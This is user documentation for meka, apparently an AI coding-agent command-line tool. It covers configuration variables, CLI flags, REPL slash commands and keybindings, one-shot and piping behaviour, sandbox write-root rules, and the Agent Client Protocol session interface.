MEKA_SANDBOX_BACKENDOverride [shell].sandbox_backend (Linux only). Pinning a value also suppresses the “install Bubblewrap” auto-resolve warning. Used by the mekabox wrapper to pin Landlock in the container without editing the read-only host config.landlock, bubblewrap
MEKA_RENDER_MODEOverride [display].render_mode. Handy for CI / non-TTY runs that want plain output.syntect, termimad (default), raw

MCP Variables

VariableDescriptionDefault
MEKA_MCP_TOOL_TIMEOUTPer-call timeout for MCP tools, in milliseconds. Applies to every remote tool invocation; on timeout meka cancels the request and returns an error to the model.600000 (600s)
MEKA_MCP_STDIO_CONCURRENCYHow many stdio servers meka may spawn at once at startup. Each is a process launch, so raising it trades startup latency for load; lower it on a machine where several heavy servers starting together is the problem.3
MEKA_MCP_HTTP_CONCURRENCYHow many HTTP servers meka may connect to at once at startup. Higher than the stdio limit because a connect is a request rather than a process.20

Logging

meka uses the tracing framework. The log level can be controlled with:

VariableDescriptionExample
RUST_LOGStandard Rust log filtermeka=debug, meka=trace

If RUST_LOG is not set, the verbosity flag (-v, -vv, -vvv) controls the level:

FlagLevel
(none)warn
-vinfo
-vvdebug
-vvvtrace

Logs are written to stderr so they do not interfere with agent output.

CLI Options

meka [OPTIONS] [PROMPT]
meka <COMMAND>

Commands

provider

Manage provider profiles (add, list, switch, login, remove). meka provider add writes a [providers.<name>] profile to ~/.config/meka/config.toml and stores its secret in the database.

meka provider add work --type claude-subscription --model claude-opus-5
meka provider list
meka provider set work model claude-opus-5
meka provider use work
meka provider login work
meka provider remove work

See the meka provider CLI reference for the full flag list.

session

Manage stored sessions: list them, show one in full, export one as Markdown, or delete them.

Every <SESSION_ID> is a full id or any unique prefix of one, which is what the listings print.

meka session list [-n <LIMIT>]          # default limit: 20
meka session show <SESSION_ID>          # full id, cwd, permission, opening message
meka session export <SESSION_ID> [-o <PATH>]   # -o - prints to stdout
meka session delete <SESSION_ID>...
meka session delete --older-than-days <DAYS>
meka session delete --all

See Sessions for details.

schedule

Inspect and cancel the wakeups the agent scheduled for itself. There is no create: a job needs a session for its turn to run in, and the agent creates one through schedule_create.

Every <ID> is a full id or any unique prefix of one, which is what list prints.

meka schedule list [--session <ID>]     # every session's jobs, or one session's
meka schedule show <ID>                 # full prompt, gate command, session, withheld reason
meka schedule cancel <ID>

See Scheduling for details.

history

View or clear the REPL input history that powers Up-arrow / Ctrl+R recall (distinct from saved sessions and from the /history slash command).

meka history list [-n <LIMIT>]   # default 50; -n 0 shows all
meka history clear

Arguments

[PROMPT]

Run the agent’s first turn immediately with this text as the user message, then drop into the interactive REPL for follow-up. Pair with --oneshot to exit after the first turn instead of opening the REPL.

meka "list all files larger than 1MB in the current directory"   # first turn, then REPL
meka --oneshot "list all files larger than 1MB"                  # first turn, then exit

When omitted, meka starts the REPL with no initial input.

Options

-c, --continue

Continue the most recently updated session. Takes no value.

meka -c                     # pick up where you left off
meka -c "and now add tests" # …with an opening prompt

Starting fresh when there is no session yet is not an error; meka just begins a new one.

-r, --resume <SESSION>

Resume a specific session. Accepts either the full UUID or any unique leading prefix.

meka -r 550e8400-e29b-41d4-a716-446655440000     # full UUID
meka -r 550e                                     # prefix; works if unique
meka -r 550e "and now add tests"                 # …with an opening prompt

Errors if the session does not exist, the prefix matches multiple sessions (with the matching IDs listed for disambiguation), or the session is locked by another meka instance.

-c and -r are mutually exclusive. Both work with --oneshot, which runs a single turn against the session and exits:

meka --oneshot -r 550e "summarise what we decided"

Breaking change. -c used to take an optional session ID (meka -c 550e8400); that spelling now belongs to -r. Because -c was the only flag that could swallow the following argument, meka -c "fix the bug" read the prompt as a session ID and failed with a confusing error. Passing an ID to -c now tells you to use -r.

--permission <MODE>

Set the initial permission mode. Accepts none (or n), read (or r), workspace (or w), ask (or a), unrestricted (or u).

meka --permission workspace
meka --permission ask

Default: read.

Recorded on the session, so a resume comes back at the level the session was last at rather than at the default. Passing --permission alongside -c / -r repins it, the way --provider does. A level that is no longer in [permissions].enabled is not granted on resume: the session drops to the configured default with a warning.

--writable-root <PATH>

Add a directory to the workspace, so writes may land there at workspace permission. Repeatable. The working directory is always a root; this adds to it.

meka --permission workspace --writable-root ../shared-assets --writable-root /srv/build

Deliberately a flag rather than a config key: which folders this run may write is a per-run scope, like the working directory itself, not a preference to persist.

A path that does not resolve at startup is reported as a warning and kept, so a build directory that does not exist yet becomes a root the moment it does. A path that is not a directory, or a system directory the sandbox masks, is refused with a warning: neither can be expressed as a boundary by every backend.

The masked set is the filesystem root itself plus /proc, /dev, /sys, /run, /tmp and /var/tmp, and /run/user and $XDG_RUNTIME_DIR as whole subtrees. A root is refused when it is one of these and when it is an ancestor of one, but not when it is merely underneath: a root under one of these is usually fine and refusing it would be a real loss, since /run/media/$USER/drive is an ordinary external disk. The ancestor half is why --writable-root /var is refused, and it is also why --writable-root ~ is refused on WSL and on minimal window managers, where $XDG_RUNTIME_DIR lives under $HOME and so binding $HOME would hand the session bus back. /tmp and /var/tmp are in the set because Bubblewrap masks them with a tmpfs and then binds the requested root back over it, last mount winning: binding /tmp/work restores just that directory, but binding /tmp restores the entire host /tmp including every X11, D-Bus and tmux socket in it, which is a route straight back out of the sandbox. The cost is that a session started with cd /tmp has no write boundary, which is the safe direction to fail.

The flag reaches the REPL, one-shot runs, and ACP sessions. It does not reach sessions created through POST /v1/sessions, which are single-root by design, and therefore does not reach a scheduled turn under meka serve either: those run in the session the job belongs to, which the HTTP API created.

-p, --provider <NAME>

Select which configured provider profile a session runs on. Takes the name of a profile from [providers.<name>], overriding default_provider in the config file. The choice outlives the run: on a new session it is what gets recorded, and on a resume it rewrites the row.

meka -p work
meka --provider work

The value is a profile name (e.g. work, personal), not a backend type. List configured profiles with meka provider list.

A new session records the profile it runs on, so meka -c later comes back on it rather than on default_provider. Passing --provider alongside -c / -r repins the session: the row is rewritten and it keeps that profile from then on. See what a resume restores.

There is no --model, --base-url, --thinking or --thinking-budget. A profile is an indivisible bundle of a backend, an endpoint, a credential and every model-tied setting, and a session records which one it runs on rather than a rewritten copy. To change a setting, edit the profile with meka provider set; to run something different, make a second profile and select it with --provider.

--no-stream

Disable streaming mode. The agent waits for the complete response before displaying it. By default, responses are streamed token-by-token.

meka --no-stream

--render-mode <MODE>

Set the output render mode. Accepts termimad (default, or rich), syntect, or raw.

  • syntect: Syntax-highlighted markdown source, including per-language code blocks. Nothing is reflowed, so a table with long cells runs past the terminal width.
  • termimad: Rendered markdown, reflowed to the terminal: paragraphs re-wrap, wide tables wrap inside their box, and markers are consumed rather than shown. meka parses the CommonMark itself, so -/+ bullets, __bold__, _italic_, ordered lists, and links all render. Colours come from the same theme as syntect, and fenced code blocks are syntax-highlighted by it.
  • raw: Raw markdown printed verbatim with aligned tables.

termimad is the default: meka’s own output is table-heavy (task_list, scratchpad_list, anything the model tabulates), and those run past the right edge under syntect. Pick syntect when you want to see the markdown source as the model wrote it.

meka --render-mode raw

Can also be set permanently via display.render_mode in the config file.

--instructions <STRING>

Standing instructions for this run, replacing the instructions.md file and both MEKA_INSTRUCTIONS* environment variables. Takes the text itself, not a path; use "$(cat file.md)" to read one.

meka --instructions "Be terse. No code fences in answers."

--skill <NAME>

Invoke a skill as the first turn. Mirrors the REPL slash command /skill <name> [extra...]. The positional [PROMPT] arg, if given, is prepended to the rendered skill body as additional context. Pair with --oneshot to exit after the turn instead of opening the REPL.

meka --skill download-videos "https://example.com/video"             # first turn, then REPL
meka --skill download-videos --oneshot "https://example.com/video"   # first turn, then exit

Errors out with a clean message if the skill name is unknown.

--oneshot

Exit after the first turn finishes. Requires either the positional [PROMPT] or --skill <NAME>; without one of those, meka has nothing to do. Useful for scripts and CI invocations.

meka --oneshot "summarize the last commit"
meka --oneshot --skill deploy "to staging"

--eager-load-tool <SERVER:TOOL>

Eager-load a specific MCP tool for this session, bypassing the load_tool round-trip. The tool’s schema ships in the cacheable tools-array prefix from turn 1 instead of being deferred. Mirrors the per-server eager_load_tools config field: repeatable, raw tool names (the server-advertised form, not mcp__<server>__<tool>).

Particularly useful for scripted runs that know up front which tools they’ll need. The flag appends to whatever eager_load_tools lists in config.toml for that server; it doesn’t replace existing entries. Unknown server names log a warning and are skipped.

meka --eager-load-tool notion:search --eager-load-tool github:create_issue \
     --oneshot "search Notion for the deploy runbook and open a GitHub issue"

-v, --verbose

Increase log verbosity. Can be repeated up to three times.

meka -v      # info
meka -vv     # debug
meka -vvv    # trace

--help

Print help information.

--version

Print version information.

Interactive Mode

Start meka without --oneshot to enter interactive mode:

meka

You get a prompt:

meka [r] >

Type your instruction and press Enter to submit. The agent processes your request and prints its response (streamed in real time as Markdown). When it finishes, you get another prompt.

Keybindings

meka uses Emacs-style keybindings (provided by reedline).

Input

KeyAction
EnterSubmit the current prompt
Alt+Enter, Shift+EnterInsert a newline (for multi-line input)
Shift+TabCycle the permission mode, skipping any not in [permissions].enabled (by default none → read → workspace → unrestricted → none)
KeyAction
Ctrl+AMove cursor to start of line
Ctrl+EMove cursor to end of line
Ctrl+FMove cursor forward one character
Ctrl+BMove cursor backward one character
Alt+FMove cursor forward one word
Alt+BMove cursor backward one word
Up / DownRecall the previous / next input from history

Editing

KeyAction
Ctrl+DDelete character under cursor / exit on empty line
Ctrl+H, BackspaceDelete character before cursor
Ctrl+KKill text from cursor to end of line
Ctrl+UKill text from start of line to cursor
Ctrl+WKill word before cursor
Ctrl+YYank (paste) killed text

Control

KeyAction
Ctrl+CInterrupt the running agent; clear the line if idle
Ctrl+DExit the shell (when the line is empty)
Ctrl+RReverse incremental search through history
Ctrl+LClear the screen

Input History

The prompts you type are saved to meka’s SQLite database, so Up / Down and Ctrl+R recall what you typed in any previous run. A brand-new meka, a resumed meka -c, and the current session all share one history. Multi-line prompts are preserved intact, and only the most recent entries are kept (older ones are pruned). This input history is separate from the conversation shown by /history.

Prompt Format

meka [indicator] >

The indicator shows the current permission mode:

ModeIndicatorColor
None[n]Green
Read[r]Yellow
Ask[a]Magenta
Workspace[w]Orange
Unrestricted[u]Red

The color provides a visual cue about the agent’s current capabilities. Orange means the agent can modify your system inside the workspace roots; red means it can modify anything you can.

Multi-Line Input

Press Alt+Enter or Shift+Enter to insert a newline instead of submitting. The prompt changes to show continuation:

meka [r] > write a python script that
  ... prints hello world
  ... and saves it to hello.py

Press Enter on the last line to submit the entire multi-line input.

Pasting multi-line content also works seamlessly: all pasted lines appear in the buffer for review, and you press Enter to submit.

Slash Commands

meka supports / prefix commands for controlling the shell:

CommandDescription
/helpShow available commands
/exitExit the shell
/clearClear the terminal screen
/sessionShow the current session ID
/permission [none|read|workspace|ask|unrestricted]Show or set the permission level
/provider [profile]Show or change the provider profile this session runs on
/compactSummarize and compact the session history
/rewind [N]Drop the last N turns (default 1) from the conversation the model sees
/forkBranch into a copy of this session, freezing the original where you are
/exportWrite the session to session-<id>.md and print where it landed
/cd [path]Change working directory; with no path, return to where meka was started (~ still goes home)
/skillList installed skills
/skill <name> [extra...]Invoke a skill as the next turn, prepending anything you type after the name
/memoryList saved memories, most important first
/memory <name>Print one memory’s body
/scheduleList this session’s scheduled jobs
/schedule show <id>Show a scheduled job’s full details
/schedule cancel <id>Cancel a scheduled job by id or unique prefix
/tasksList this session’s background tasks
/tasks show <id>Show a background task’s full details
/tasks cancel <id>Stop one background task by id or unique prefix
/tasks cancel --allStop every running background task
/mcp listList configured MCP servers with their live state (pending / connected / failed / disabled)
/mcp reconnect <server>Smoke-test connect for one server
/mcp login <server>Run the OAuth flow from the REPL
/mcp logout <server>Revoke cached credentials for a server
/mcp <server>:<prompt> [args...]Render a server-defined prompt and send it to the agent
/statusShow the resolved model/provider/effort/thinking, plus live context-window usage and cumulative turns, tokens, cache hit ratio, redactions, message count
/usageShow the account’s rate-limit usage (subscription providers): session/weekly windows, percent used, reset times
/history [N]Reprint past conversation styled like the live REPL. Bare /history dumps everything; /history N shows the last N turns

Press Tab after typing / to open a completion menu of command names, each shown with its description; keep typing to narrow it (/comp + Tab completes to /compact). Tab also completes arguments: permission levels for /permission, configured profile names for /provider, installed skill names for /skill, the subcommands and configured servers for /mcp, and directory paths for /cd (Tab again after a completed directory drills into its subdirectories). The leading command token is colored as you type: an accent color when it names a known command, an error color when it does not.

/history

Replays prior messages in the current session so you can scroll back through context without exiting and re-resuming. /history with no argument dumps every materialised message; /history 5 shows the last 5 turns (a turn = the user’s prompt plus everything the agent did to respond). Any non-numeric argument (/history all, /history foo) falls back to the dump-everything path.

The renderer mimics the live REPL: assistant text flows through the same markdown highlighter, tool calls honour display.tool_params (by default a one-line [tool ReadFile(...)] indicator), and thinking blocks honour [thinking].show_content, rendered by the same renderer the live turn streams into so a replayed block looks like the one you watched arrive. User prompts are prefixed with a cyan > so they stand out from agent text.

One difference: a call to a tool from an MCP server replays as a bare [tool name], without the argument it showed live. Which of a tool’s arguments is the one worth showing comes from its JSON Schema, which the server publishes at connect time and the conversation does not store; meka knows its own tools’ arguments from their names alone, so those replay in full.

For users who always want extra context at resume time, set display.resume_show_recent; the resume code path then renders the last N turns through the same function.

/status

Print the session’s resolved model parameters followed by its cumulative counters:

Session status
  Provider:        claude-max (claude-subscription)
  Model:           claude-opus-4-8
  Context:         128.4k / 1.0M (13% used, 871.6k left)
  Effort:          xhigh
  Thinking:        adaptive
  Turns:           23
  Input tokens:    234.5k  (cache hit: 92%)
  Output tokens:   12.1k
  Redactions:      2 (12 images, ~38 MiB freed)
  Messages:        47

The top block reports what the session actually resolved to, in the order [providers.<name>] declares the same fields, so the two can be read side by side: the active profile and its backend (type), the Model, the Context window, the reasoning Effort sent on the wire (omitted when nothing is sent, so the provider applies its own default; claude-subscription sends high when the profile sets none), and the Thinking mode. The rest are cumulative counters for the session.

Context is the live context-window occupancy: the total tokens of the most recent exchange (all input tiers plus output, i.e. what the next request re-sends minus your new prompt), against the active model’s context window, with the percent used and tokens remaining. Use it to decide whether to /compact before continuing; after /compact it drops to the compacted size immediately. It reflects this session only; sub-agents spawned via agent_spawn have their own context and are not counted (a sub-agent’s returned result is counted only once it lands in this session as a tool result). It is shown from the start, at 0 / <window> before the first turn, since the window is your context_window setting (or the documented default) and this is where you confirm it took effect; it is omitted only when the window is unknown. Set display.show_context_in_prompt to show the same gauge in the prompt itself.

Input tokens (and the other cumulative counters) is the total billed across every turn of the whole session. These totals are persisted, so resuming a session with meka -c continues them rather than restarting at zero.

cache hit is the share of input tokens served from the prompt cache rather than re-sent at full price. It should climb quickly and stay high: meka keeps everything that changes mid-session out of the cached prefix, so a steady session re-reads the cache instead of rewriting it. Expect it to drop once after a /compact (which rewrites the head of the conversation) and to recover on the following turns.

Redactions reports any times the Claude provider had to drop oldest tool-result image blocks because the request body would have exceeded Anthropic’s 32 MiB ceiling. A non-zero count indicates the cache prefix was invalidated for the redacted messages. See display.show_token_usage for a per-turn variant of the same data.

/usage

Fetch the account’s current rate-limit usage from the active provider and print each rolling window with its percentage used and reset time:

Account usage
  5-hour (session)   [#---------]   8% used  (resets in 4h 12m, 2026-07-02 02:10)
  Weekly             [----------]   2% used  (resets in 22h 50m, 2026-07-02 13:00)

This is distinct from /status, which reports this session’s own token counters. /usage queries the provider for your whole-account subscription limits. It works only for OAuth subscription providers that expose a usage endpoint (claude-subscription’s 5-hour and weekly windows; chatgpt-subscription’s primary/secondary windows plus plan and credit balance). For API-key backends, OpenAI-compatible endpoints, and Ollama, it prints a short “not available for this provider” note instead. The same command is available under ACP.

/compact

The /compact command asks the LLM to summarize the entire conversation, then replaces the messages the model sees with a single summary message followed by the recent tail. This is useful for long sessions that are approaching the context window limit or becoming expensive.

After compacting, the session continues with the summary as context. The pre-compaction messages are never deleted: they stay in the underlying event log on disk (the model just no longer sees them). meka session export walks that full log, so an export always contains the entire conversation including the compacted-away turns, with a marker at each compaction point.

/rewind

/rewind drops the most recent turn from the conversation, so the model no longer sees it or your prompt that started it. /rewind N drops the last N. The cut always lands on a turn boundary, so a tool call is never separated from its result.

Like /compact, nothing is deleted: the dropped turns stay in the event log on disk, and meka session export still shows them with a marker where the rewind happened.

Use it to take back a prompt that sent the agent down the wrong path without paying for a summary, or to recover a session the provider has started refusing. meka repairs a rejection it causes itself (see below), but content that entered the conversation earlier is out of its reach; rewinding past it is the way back. meka session rewind <id> does the same to a session you are not currently in.

Recovering from a rejected message

Providers validate the whole conversation on every request, so one piece of content they refuse would otherwise fail every later turn as well, permanently. When that happens, meka strips the offending content from what it added this turn, retries once, and hands the model the provider’s own complaint as a failed tool result so it can adapt rather than silently losing the data. If the retry is refused too, the original content goes back untouched and the turn reports the provider’s error.

A mislabelled image already committed to the session is repaired when you resume it, without a provider round trip. For anything further back, use /rewind.

Recovering from a call that got no answer

A refusal is one thing the provider says; a request that never got a usable reply at all is another. A connection that fails or is reset while the request is going out is retried with backoff (up to twice, waiting 1s then 2s), and so is a response body that could not be read back. The turn continues as if the failed attempt had not happened, and nothing about it enters the conversation. Only when the retries run out does the turn report the error.

Worth knowing what a retry can cost. When the failure was a body that could not be read, the provider had already generated the response and billed you for it, so the retry pays a second time. meka does it anyway, because the alternative is losing the turn for content you have already been charged for once, but it is not free.

Two failures are not retried, because the next attempt is known not to be worth making: a request meka could not build, and a URL that redirects in a loop. A redirect loop points at a misconfigured base_url; a request that could not be built points at whatever went into it, most often a base_url that is not a URL or a stored credential carrying a character that cannot go in a header.

Retrying is bounded by time as well as by count, and the time bound is the one that usually decides. A failure that takes the full read timeout to arrive costs five minutes, which spends the whole budget, so a call that hung is reported rather than tried again: retrying is for a failure that was cheap, and a provider that went silent for five minutes has already taken more of your turn than a second silence is worth. Without the bound at all, three slow failures would be fifteen minutes of waiting on a turn that fails anyway.

The bound stops a new attempt starting rather than capping the total, so the worst case is a failure arriving just under the five minutes and permitting one more full-length attempt after it, for about ten in total.

/fork

/fork copies the current session and switches you into the copy, printing its ID. Your conversation carries over untouched, so the branch happens exactly where you are; the original stops there and keeps everything up to that point.

Use it before trying a direction you might want to back out of, or before /compact if you’d rather keep the uncompacted conversation around. To go back, exit and resume the original with meka -r <old-id>.

The copy is a fully independent session with no link back to its source. (/fork only ever runs against the session you are in, which is never a sub-agent, so the sub-agent case below cannot arise here.) See Forking a Session for exactly what it carries.

Shell Escape

Prefix any input with ! to execute it directly as a shell command, bypassing the LLM entirely:

meka [r] > !pwd
/home/user/projects
meka [r] > !ls -la
total 32
drwxr-xr-x  5 user user 4096 Mar  4 10:00 .
...
meka [r] > !ping 1.1.1.1 -c 2
PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.
...

The command runs with inherited stdin/stdout/stderr, so it behaves exactly like a regular shell. This is useful for quick checks without waiting for the LLM.

Exiting

You can exit meka in any of these ways:

  • Type /exit
  • Type exit or quit
  • Press Ctrl+D on an empty line

Interrupting the Agent

Press Ctrl+C while the agent is running to interrupt it. This cancels the current LLM request and kills any running shell commands that were spawned by the agent.

One-Shot Mode

One-shot mode runs a single prompt and exits, similar to bash -c. It takes --oneshot:

meka --oneshot "your prompt here"

The agent processes the prompt (including any tool calls), prints its response, and the process terminates. The session UUID is printed to stderr on exit.

A prompt without --oneshot is not a one-shot run: it seeds the first turn and then leaves you at the REPL prompt, which is the right default when you are working interactively and the first thing you want is already in your shell history.

--oneshot requires something to do, so it needs a prompt argument or --skill.

An empty or whitespace-only prompt is rejected rather than sent.

--permission ask has nothing to ask from here: there is no prompt to answer, so every tool that needs approval is refused. meka says so once at startup and names each tool as it is refused, but the run is still less useful than it looks. Use read, workspace or unrestricted for a non-interactive run, or meka serve if you need a human in the loop over an API.

Examples

# Simple question
meka --oneshot "what is my current working directory?"

# File operations (requires workspace permission)
meka --oneshot --permission workspace "create a file called notes.txt with today's date"

# Search
meka --oneshot "find all TODO comments in this project"

# Web search
meka --oneshot "search the web for the latest Rust release"

Combining with Other Flags

All configuration flags work in one-shot mode:

# Use a specific provider profile
meka --oneshot --provider work "explain this codebase"

# With workspace permission
meka --oneshot --permission workspace "run 'cargo test' and summarize the results"

# Disable streaming
meka --oneshot --no-stream "read README.md and summarize it"

# Run one turn against an existing session
meka --oneshot -r 550e8400 "summarise what we decided"

Session Behavior

One-shot mode creates a new session for each invocation, unless you point it at an existing one with -c (most recent) or -r <SESSION> (specific). Those run a single turn against that conversation and exit, which is the usual shape for scripting against a session built up earlier.

The session UUID is printed to stderr when the run completes:

Session: 550e8400-e29b-41d4-a716-446655440000

You can resume this session later in interactive mode:

meka -r 550e8400-e29b-41d4-a716-446655440000

Piping

The answer goes to stdout and everything else to stderr, so meka -p … 2>/dev/null | next-tool hands the next tool only what you asked for. That holds for every command, not just this one.

A reader that stops reading is its own decision, and meka exits 0 for it:

meka -p "summarise this log" | head -20     # exits 0; head got its lines

A stdout that cannot take the answer is a different thing, and fails the run:

meka -p "summarise this log" > /full/disk   # exits non-zero, and says why on stderr

The distinction matters in a script: the first is how pipelines end, the second is data you asked for and did not get.

ACP (Agent Client Protocol)

meka acp speaks the Agent Client Protocol over stdio so editor / web / messenger clients can drive a meka turn end to end. Where Interactive Mode and One-Shot Mode are for humans, ACP is for programs that want to host meka inside a richer UI: streamed diffs, native apply-buttons, hosted terminals, and slash-command palettes.

This page describes what meka’s ACP surface looks like to a client. Editor-specific setup belongs in each editor’s own documentation; the protocol contract is the same everywhere.

Starting an ACP server

meka acp

The process speaks JSON-RPC 2.0 with newline framing on stdio. There is no human-facing prompt; the binary is meant to be spawned by a client that owns the conversation. The client sends initialize, then session/new (or session/load / session/resume), then a series of session/prompt calls.

A few flags are worth knowing:

FlagEffect
-vLogs to stderr at info (incoming client identity, session lifecycle).
-vvdebug (per-request JSON-RPC diagnostics).
RUST_LOG=meka=traceTrace level.

Two flags are refused rather than ignored: -c and -r. Both name one run’s session, and this host creates one per session/new, each naming its own provider profile. A new session starts on the host’s default; move it with session/set_config_option, and session/load restores whichever profile a session already recorded. --provider is accepted, since it selects which configured profile a session gets when it names none, which is a property of the connection rather than of one session.

On startup, after the client’s initialize arrives, meka logs ACP client connected: <name> <version> so you can confirm the client identity in -v mode.

What meka advertises (agentCapabilities)

These are returned in InitializeResponse.agentCapabilities:

  • loadSession: true: the client may call session/load with any persisted session id.
  • sessionCapabilities.list: the client may call session/list to browse the persisted session catalogue (cwd-filtered, cursor-paginated; sub-agent audit sessions are hidden).
  • sessionCapabilities.resume: the client may adopt a persisted session id without replaying history.
  • sessionCapabilities.fork: the client may branch a copy off a persisted session (see Forking). Unstable in the protocol.
  • sessionCapabilities.close: the client may release the active session slot.
  • sessionCapabilities.additionalDirectories: the client may send extra workspace roots on session/new, session/load, and session/resume (see Multi-root workspaces).
  • promptCapabilities.embeddedContext: true: the client may inline @-mentioned file contents as embedded resource blocks (see Prompt turn).
  • promptCapabilities.image: follows the default profile’s vision flag (default true; set vision = false in [providers.<name>] for a text-only model). Per connection rather than per session, because initialize is answered before any session exists. Whether a given session/prompt accepts an image block is decided per session from the profile that session runs on, so a session moved onto a text-only profile refuses attachments even on a connection that advertised image.

mcpCapabilities is intentionally not advertised. meka is itself an MCP client, but the servers it consumes are configured via meka’s own config.toml rather than the mcpServers field on session/new. Advertising HTTP/SSE while silently ignoring the client’s array would have been misleading; the marker will return when client-supplied MCP server connections are actually implemented.

agentInfo carries meka’s name ("meka") and the running binary version.

What meka consumes (clientCapabilities)

The client advertises these in InitializeRequest.clientCapabilities; meka stashes them and lets the built-in tools route accordingly:

  • fs.readTextFile: true: read_file issues fs/read_text_file { sessionId, path, line?, limit? } so the client serves the in-buffer view of the file. Image and regex read_file modes have no fs/* analogue and stay local.
  • fs.writeTextFile: true: write_file and edit_file’s apply step issue fs/write_text_file { sessionId, path, content }. meka still attaches diff metadata to the tool_call_update so clients with an apply-diff UI can render it.
  • terminal: not consumed. It means “I implement terminal/*”, i.e. the agent may run commands in the client, which meka never does. See Shell commands stay inside meka.
  • _meta.terminal_output: true: the client renders agent-owned terminals, so execute_command output is streamed into a real terminal instead of a code block. A rendering choice only: meka still spawns and sandboxes the process either way. Advertised by Zed; independent of the terminal capability above.
  • elicitation.form / elicitation.url: when an MCP server asks the user for input mid-tool-call, meka issues elicitation/create so the prompt renders in the editor. The two modes are advertised independently and checked separately – a server asking for a form when only url is advertised is declined rather than sent. Without the capability meka declines every elicitation, which is what it did unconditionally before. Elicitations raised inside a sub-agent forward to the parent session, like permission prompts.

If the client omits a capability, the matching tool falls back to local syscalls; the user-visible behaviour is the same as meka in the REPL.

Shell commands stay inside meka

execute_command never runs in the client’s terminal, whatever the client advertises and whatever the permission mode. meka spawns the process itself so everything it wraps a command in keeps applying: the sandbox that read and workspace depend on (Landlock / bwrap / sandbox-exec / restricted token), the environment scrub that keeps API keys out of the child, the per-session cwd from /cd, the timeout, and the process-group kill that reaches backgrounded grandchildren. The client’s terminal/* offers none of that.

meka used to delegate in any mode other than read, which made every sandboxed mode a bypass: meka would refuse to run at all when no sandbox backend was available, then hand the same command to an unsandboxed editor terminal. Delegation is gone rather than narrowed, so workspace keeps its boundary here exactly as it does in the REPL.

Live output

Because meka owns the process, it streams the output: while a command runs, what it has printed so far is pushed into the open tool call, so an editor shows a build or a test run progressing instead of a spinner. Updates are coalesced to at most one per 150 ms. stdout and stderr are interleaved in the live view, the way a terminal shows them, while the result the model sees keeps them separated.

How that output is drawn depends on the client:

Clients advertising _meta.terminal_output get an agent-owned terminal. meka announces one on the tool call, appends each chunk to it as it arrives, and closes it with the command’s real exit code and signal. The client renders a genuine terminal: ANSI colour, selection, full scrollback, and an expandable view in the tool call. meka still spawns and sandboxes the process; the client only draws the bytes it is handed. Nothing is executed on the client side, and no terminal/* request is ever sent.

Everything else gets a console code block, replaced on each update with a trailing window of the output. The complete output arrives in the final update when the command exits.

The terminal path uses an extension rather than ACP proper: _meta.terminal_info to announce the terminal (on the opening tool_call, which is where clients read it), _meta.terminal_output to append, _meta.terminal_exit to close it with the command’s real exit code. The convention comes from codex-acp, claude-agent-acp emits the same shape, and Zed consumes it, advertising _meta.terminal_output: true to say so. Gating on that key rather than on terminal matters: a client that implements terminal/* but not these frames cannot resolve the terminal, and would render nothing at all for it.

This is deliberately temporary. ACP v2 standardises agent-owned terminals as terminal_update / terminal_output_chunk, and meka should move to those once a client implements them; v2 is still a draft schema (v2.0.0-alpha.N, behind an off-by-default feature flag) that nothing speaks yet.

When the client won’t serve a path

Editors differ in which paths they will serve: Zed answers only for the project it has open, another client may serve any absolute path. meka models none of these rules. It asks per path and routes on the answer:

  • ResourceNotFound (-32002) means the client will not serve this path, so it holds no buffer for it. meka reads or writes the file locally, and a write says so in the tool result – the change still appears in that tool call’s diff, but not in the editor’s buffer or undo history. This is what keeps ACP as capable as the terminal: the agent can read and edit its own skills, prompts, and configuration even though they live outside the project.
  • Any other error means the client may own the file and hold unsaved changes for it, so the tool call fails instead of routing around the client. Reading on-disk bytes would hand the model a stale view of a file the user is editing, and writing them back would overwrite unsaved work.

The route is chosen once per tool call by the read, not per request: edit_file and write_file write back through whichever filesystem they read from, so a diff taken from the editor’s buffer isn’t applied to disk while the buffer keeps the old content. The read is also the more reliable signal – Zed reports an out-of-project path as ResourceNotFound on fs/read_text_file but as a generic error on fs/write_text_file, so a route chosen from the write’s own error would never recognise it.

One case can’t honour that: a client advertising fs.readTextFile but not fs.writeTextFile reads for meka and expects meka to do the write, so the edit lands on disk while the client still holds a buffer for the file. The tool result discloses that too, with its own note.

Session lifecycle

meka holds an in-memory map of sessionId → SessionEntry. Any number of sessions can coexist in one meka acp process, each with its own cwd, permission level, conversation, cancellation token, and per-session runtime mutex. Prompts on different sessions run in parallel; a second session/prompt for a session that already has one in flight is rejected with InvalidParams. The session row is also locked on disk (the same lock the REPL uses), so two meka processes can’t simultaneously write events for the same session id.

  • session/new { cwd, mcpServers }: mints a fresh persisted session, captures the cwd, takes the on-disk session lock, returns the session id and the current SessionMode state.
  • session/load { sessionId, cwd, mcpServers }: replays the persisted conversation as a stream of session/update notifications (user_message_chunk, agent_message_chunk, agent_thought_chunk, tool_call, tool_call_update) before the response. Orphan tool calls (the persisted log stopped mid-tool) are closed out with a failed status so the client’s UI doesn’t render a stuck spinner. If the client’s cwd differs from the persisted one, meka updates the persisted row to match; the client wins. A sub-agent’s id is refused with InvalidParams before the session is locked or its cwd rewritten; continue that conversation with agent_followup from the parent instead.
  • session/list { cwd?, cursor? }: paginated index. Filtered to the requested cwd when present; sub-agent sessions are always hidden. nextCursor is opaque; round-trip it back to keep paging.
  • session/resume { sessionId, cwd, mcpServers }: adopts the session id without replaying. Use this when the client already has the history rendered. Same cwd-update behaviour as session/load. A sub-agent’s id is refused on the same terms as session/load.
  • session/fork { sessionId, cwd, additionalDirectories, mcpServers }: copies the session’s conversation into a new persisted session, adopts the copy as active, and returns its id. The source is left open and untouched. See Forking.
  • session/close { sessionId }: cancels any in-flight prompt, releases the on-disk session lock, and removes the entry from the map.
  • session/cancel { sessionId }: interrupts the active session/prompt. The response carries stopReason: "cancelled". A cancel sent straight after a prompt still stops that prompt, even if it arrives before the turn has started: meka latches the signal and applies it as the turn begins. The latch is scoped to a prompt that is already on its way, so a cancel with nothing to stop is discarded rather than saved. Interrupting a turn, cancelling twice, or cancelling while idle all leave the next prompt you send to run normally.
  • session/set_mode { sessionId, modeId }: flips the agent’s Permission cell. Modes outside [permissions].enabled from the config become JSON-RPC errors. On success, meka emits session/update: current_mode_update. The flip is atomic and applies to the next tool call within an in-flight turn; no need to wait for the turn to finish.
  • session/set_config_option { sessionId, configId, value }: sets one of the two entries in configOptions. Returns the full list with its new values. See Session config options.

Idle sessions are released

A session untouched for 24 hours is dropped from the map by a sweep that runs every 5 minutes, releasing its lock and detaching its MCP registry. Only the in-memory entry goes: session/load reopens the conversation exactly as it does one from a previous run, so a client that keeps an id around needs no special handling.

